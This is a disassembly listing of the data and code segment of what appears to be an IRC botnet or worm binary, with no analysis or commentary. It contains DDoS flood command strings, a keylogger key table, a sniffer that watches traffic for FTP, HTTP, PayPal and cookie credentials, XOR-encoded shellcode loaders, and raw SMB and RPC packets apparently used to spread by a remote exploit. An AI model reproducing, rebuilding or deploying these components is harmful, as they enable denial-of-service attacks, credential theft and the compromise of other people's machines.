		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B2:loc_4011DEo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B2:loc_4011C2o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B2+F1o
		align 8
unk_4230E8	db    2			; DATA XREF: sub_401444+390o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSendingPa	db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
		db '.',0
		align 10h
unk_423150	db    2			; DATA XREF: sub_401444+326o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aDoneWithSFlood	db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
		db ').',0
unk_4231B4	db    2			; DATA XREF: sub_401444+12Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aInvalidTargetI	db 'Invalid target IP.',0
		align 4
unk_4231E8	db    2			; DATA XREF: sub_401444+C2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSetsockop	db 'Error: setsockopt() failed, returned: <%d>.',0
		align 8
unk_423238	db    2			; DATA XREF: sub_401444+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketFai	db 'Error: socket() failed, returned: <%d>.',0
dword_423280	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40182F+48o
		dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 4
dword_4232BC	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_4018CB+295o
		dd 2029206Ch, 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
		align 10h
dword_4232F0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD4+4E4o
		dd 2029206Ch, 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 8
dword_423358	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD4+471o
		dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401BD4+2FDo
					; sub_40CD3A+2A6Do ...
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401BD4+2DDo
					; sub_40CD3A+2A56o
aSyn		db 'syn',0              ; DATA XREF: sub_401BD4+2BDo
					; sub_40CD3A+2A3Eo
dword_4233CC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD4+15Fo
		dd 2029206Ch, 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 10h
dword_423400	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD4+EEo
		dd 2029206Ch, 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 10h
dword_423450	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD4+70o
		dd 2029206Ch, 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 4
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4021FB:loc_4022DEo
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_423BCC	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4021FB+2AAo
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_423C04	dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
					; DATA XREF: sub_40211C+ACo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_40211C+86o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_40211C+4Eo
					; sub_40CD3A+291Bo
		align 4
asc_423C48:				; DATA XREF: sub_40211C+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+21Co
		align 10h
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1D9o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo
		align 8
off_423C98	dd offset dword_424510	; DATA XREF: sub_4024D0+29Er
		dd offset off_42450C
		dd offset aFtp		; "FTP"
		dd offset aHttp		; "HTTP"
dword_423CA8	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_4024D0+1DEo
dword_423CBC	dd 0			; DATA XREF: sub_4024D0+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: seg001:00423CA4o
		align 4
aFtp		db 'FTP',0              ; DATA XREF: seg001:00423CA0o
off_42450C	dd offset byte_435249	; DATA XREF: seg001:00423C9Co
dword_424510	dd 544F42h, 0		; DATA XREF: seg001:off_423C98o
unk_424518	db    2			; DATA XREF: sub_4024D0+2FCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 10h
unk_424560	db    2			; DATA XREF: sub_4024D0+2ABo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_4024D0+236o
		align 8
unk_4245B8	db    2			; DATA XREF: sub_4024D0+186o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 8
unk_424608	db    2			; DATA XREF: sub_4024D0+103o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 10h
unk_424650	db    2			; DATA XREF: sub_4024D0+85o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
; ---------------------------------------------------------------------------
		jmp	short loc_4246AA

; =============== S U B	R O U T	I N E =======================================



sub_42469A	proc far		; CODE XREF: sub_42469A:loc_4246AAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4246A2:				; CODE XREF: sub_42469A+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4246A2
		jmp	short loc_4246AF
; ---------------------------------------------------------------------------


loc_4246AA:				; CODE XREF: seg001:00424698j
		call	near ptr sub_42469A


loc_4246AF:				; CODE XREF: sub_42469A+Ej
		jo	short loc_424713
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_424731
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_424713:				; CODE XREF: sub_42469A:loc_4246AFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_424731:				; CODE XREF: sub_42469A+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_42469A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_4247D8:				; DATA XREF: sub_40297A+151o
					; sub_40297A+20Fo
		jmp	short loc_4247EA

; =============== S U B	R O U T	I N E =======================================



sub_4247DA	proc near		; CODE XREF: sub_4247DA:loc_4247EAp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_4247E2:				; CODE XREF: sub_4247DA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4247E2
		jmp	short loc_4247EF
; ---------------------------------------------------------------------------


loc_4247EA:				; CODE XREF: seg001:loc_4247D8j
		call	sub_4247DA


loc_4247EF:				; CODE XREF: sub_4247DA+Ej
		jo	short near ptr dword_424768+1Eh
		cwde
		cdq
		cdq
		retn
sub_4247DA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_424888	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40297A+102o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_424970	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_402DD1+7Fo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_424A00	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DD1+AAo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_424AB0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DD1+CFo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_424B90	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40297A+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_40297A+87o
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 2 dup(0)
dword_424BF8	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40297A+2B2o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 2 dup(0)
dword_424C68	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40297A+2DDo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_424D10	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40297A+3C5o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_424D90	dd offset loc_401493+2	; DATA XREF: sub_40297A+3F3o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407078+4
		dd 1, 0
		dd 1, 0
		dd offset loc_407078+4
		dd 1, 0
		dd 1, 0
		dd offset loc_407078+4
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	2 dup(0)
